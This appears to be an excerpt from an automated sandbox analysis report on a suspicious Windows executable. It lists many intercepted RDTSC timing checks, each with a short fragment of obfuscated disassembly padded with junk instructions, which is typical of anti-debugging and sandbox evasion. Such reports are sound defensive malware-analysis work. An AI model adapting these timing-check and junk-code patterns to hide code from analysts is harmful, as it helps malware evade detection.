Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2D1DC second address: C2D1E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2D1E3 second address: C2D1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jng 00007FBDC0E80B78h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C2D1F8 second address: C2D207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FBDC110A216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3364D second address: C33667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B84h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C33667 second address: C3366B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3302D second address: C33041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B7Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C33041 second address: C3304B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBDC110A21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3319B second address: C331AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B7Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C36FF5 second address: C37021 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBDC110A21Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FBDC110A227h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C36B93 second address: C36B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3B97F second address: C3B992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007FBDC110A218h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3E706 second address: C3E70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3E70A second address: C3E716 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBDC110A216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3E716 second address: C3E766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FBDC0E80B95h 0x00000011 jmp 00007FBDC0E80B81h 0x00000016 jmp 00007FBDC0E80B7Eh 0x0000001b jmp 00007FBDC0E80B87h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C3E766 second address: C3E772 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBDC110A21Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C43D26 second address: C43D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FBDC0E80B76h 0x0000000a jnc 00007FBDC0E80B76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C492CA second address: C492D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C492D0 second address: C492D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C492D4 second address: C492DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C492DC second address: C492E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBDC0E80B76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C4FD04 second address: C4FD1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A225h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C4E703 second address: C4E737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B85h 0x00000007 jmp 00007FBDC0E80B80h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jnl 00007FBDC0E80B76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C4EE2A second address: C4EE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ecx 0x00000013 je 00007FBDC110A21Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52814 second address: C52824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52824 second address: C52828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52828 second address: C5282C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5282C second address: C52836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52836 second address: C5283A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5283A second address: C52851 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52541 second address: C52545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C52545 second address: C52549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5ABE2 second address: C5ABE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5ABE8 second address: C5ABEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5ABEC second address: C5ABF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5ABF2 second address: C5AC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FBDC110A216h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FBDC110A21Eh 0x00000014 popad 0x00000015 pop esi 0x00000016 pushad 0x00000017 js 00007FBDC110A21Ch 0x0000001d jo 00007FBDC110A216h 0x00000023 push edx 0x00000024 jne 00007FBDC110A216h 0x0000002a pop edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5AC2C second address: C5AC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5F83E second address: C5F843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5F843 second address: C5F849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C5F849 second address: C5F84F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C6DAF5 second address: C6DB0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B83h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C6D93F second address: C6D95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC110A229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C7164C second address: C71656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C71656 second address: C71662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FBDC110A216h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C860D1 second address: C860D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C8636F second address: C86374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C8852C second address: C88551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007FBDC0E80B7Dh 0x0000000e jmp 00007FBDC0E80B7Eh 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C8B433 second address: C8B439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C8B439 second address: C8B453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBDC0E80B7Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: C8B453 second address: C8B459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA1DD8 second address: BA1DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FBDC0E80B85h 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5210303 second address: 52103F9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBDC110A229h 0x00000008 adc ax, DF06h 0x0000000d jmp 00007FBDC110A221h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ecx, 014EE2B7h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FBDC110A228h 0x00000023 sbb cx, 08D8h 0x00000028 jmp 00007FBDC110A21Bh 0x0000002d popfd 0x0000002e jmp 00007FBDC110A228h 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 mov di, EAE4h 0x0000003a pushfd 0x0000003b jmp 00007FBDC110A21Dh 0x00000040 sub eax, 1D02DB26h 0x00000046 jmp 00007FBDC110A221h 0x0000004b popfd 0x0000004c popad 0x0000004d xchg eax, ebp 0x0000004e jmp 00007FBDC110A21Eh 0x00000053 mov ebp, esp 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov edi, 7FECECE0h 0x0000005d pushfd 0x0000005e jmp 00007FBDC110A229h 0x00000063 xor ah, FFFFFFE6h 0x00000066 jmp 00007FBDC110A221h 0x0000006b popfd 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52103F9 second address: 5210419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 1Ch 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBDC0E80B81h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 523069E second address: 52306F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 jmp 00007FBDC110A21Fh 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FBDC110A229h 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FBDC110A21Eh 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov eax, edi 0x00000029 mov di, 615Ch 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52306F3 second address: 52307C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007FBDC0E80B7Dh 0x0000000c jmp 00007FBDC0E80B7Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FBDC0E80B84h 0x0000001d sbb esi, 3A5B1CD8h 0x00000023 jmp 00007FBDC0E80B7Bh 0x00000028 popfd 0x00000029 mov esi, 202C178Fh 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 call 00007FBDC0E80B7Bh 0x00000036 movzx esi, bx 0x00000039 pop edi 0x0000003a pushfd 0x0000003b jmp 00007FBDC0E80B82h 0x00000040 or ch, 00000068h 0x00000043 jmp 00007FBDC0E80B7Bh 0x00000048 popfd 0x00000049 popad 0x0000004a xchg eax, ecx 0x0000004b jmp 00007FBDC0E80B86h 0x00000050 xchg eax, esi 0x00000051 pushad 0x00000052 jmp 00007FBDC0E80B7Eh 0x00000057 mov dx, ax 0x0000005a popad 0x0000005b push eax 0x0000005c pushad 0x0000005d mov edx, 6F85E210h 0x00000062 popad 0x00000063 xchg eax, esi 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FBDC0E80B81h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52307C0 second address: 5230827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushfd 0x00000007 jmp 00007FBDC110A228h 0x0000000c adc ecx, 11CFF0B8h 0x00000012 jmp 00007FBDC110A21Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebp-04h] 0x0000001e pushad 0x0000001f jmp 00007FBDC110A224h 0x00000024 mov si, D971h 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FBDC110A223h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230827 second address: 523083F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 523083F second address: 5230843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230843 second address: 523085B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBDC0E80B7Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52308EA second address: 52308EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52308EE second address: 52308F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52308F2 second address: 52308F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230921 second address: 523096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b pushad 0x0000000c mov esi, 6E56ADFBh 0x00000011 jmp 00007FBDC0E80B80h 0x00000016 popad 0x00000017 pop esi 0x00000018 jmp 00007FBDC0E80B80h 0x0000001d leave 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 523096D second address: 5230971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230971 second address: 5230975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5230975 second address: 523097B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 523097B second address: 522021D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 jmp 00007FBDC0E80B72h 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FBDC0E80B77h 0x0000001b sub esp, 04h 0x0000001e mov dword ptr [esp], 0000000Dh 0x00000025 call 00007FBDC56CE36Ah 0x0000002a mov edi, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FBDC0E80B88h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522021D second address: 522022C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522022C second address: 5220266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBDC0E80B7Fh 0x00000009 jmp 00007FBDC0E80B83h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FBDC0E80B7Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220266 second address: 52202A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 1Bh 0x00000005 pushfd 0x00000006 jmp 00007FBDC110A220h 0x0000000b sbb cx, 30C8h 0x00000010 jmp 00007FBDC110A21Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FBDC110A224h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52202A7 second address: 52202AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52202AD second address: 52202B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52202B1 second address: 52202B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52202B5 second address: 52202D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007FBDC110A21Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 52202D0 second address: 5220326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ebx, 567E517Ah 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d jmp 00007FBDC0E80B81h 0x00000012 sub esp, 2Ch 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 pushfd 0x00000019 jmp 00007FBDC0E80B88h 0x0000001e add esi, 2188FB18h 0x00000024 jmp 00007FBDC0E80B7Bh 0x00000029 popfd 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pop edi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220500 second address: 522050A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 36945C58h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522055D second address: 5220561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 5220561 second address: 522056F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522056F second address: 522065C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBDC0E80B81h 0x00000009 xor ax, FAB6h 0x0000000e jmp 00007FBDC0E80B81h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FBDC0E80B80h 0x0000001a and cx, A5D8h 0x0000001f jmp 00007FBDC0E80B7Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 cmp dword ptr [ebp-14h], edi 0x0000002b pushad 0x0000002c call 00007FBDC0E80B84h 0x00000031 pushad 0x00000032 popad 0x00000033 pop eax 0x00000034 popad 0x00000035 jne 00007FBE316FEA35h 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FBDC0E80B88h 0x00000042 add esi, 59ADEA98h 0x00000048 jmp 00007FBDC0E80B7Bh 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007FBDC0E80B88h 0x00000054 adc eax, 5A7294F8h 0x0000005a jmp 00007FBDC0E80B7Bh 0x0000005f popfd 0x00000060 popad 0x00000061 mov ebx, dword ptr [ebp+08h] 0x00000064 jmp 00007FBDC0E80B86h 0x00000069 lea eax, dword ptr [ebp-2Ch] 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: 522065C second address: 5220660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
